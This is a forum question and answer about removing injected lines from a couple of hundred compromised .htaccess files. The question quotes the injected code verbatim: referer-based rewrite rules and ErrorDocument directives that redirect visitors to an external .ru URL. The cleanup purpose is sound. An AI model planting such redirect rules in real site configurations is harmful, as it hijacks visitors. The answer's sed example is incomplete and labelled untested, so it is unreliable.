I have a couple of hundred .htaccess files and I want to remove mallicous lines from them. On the top they all have:
IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*) RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L] </IfModule>
and on the bottom:
ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8 ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8
I’m really lost in sed portion, can somebody help me? 🙁
I have so far:
find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;
Answer
What do you want to replace it with? I personally prefer this Perl one-liner:
perl -i.bak -p -e 's/find/replace/ig' .htaccess
This creates a backup files modified and adds the .bak
extension.
Does that give you enough to get started?
Here is a similar sed e.g,, (untested though!):
sed -i 's/find/replace'
-i
is “in place.”
Attribution
Source : Link , Question Author : apache , Answer Author : KM.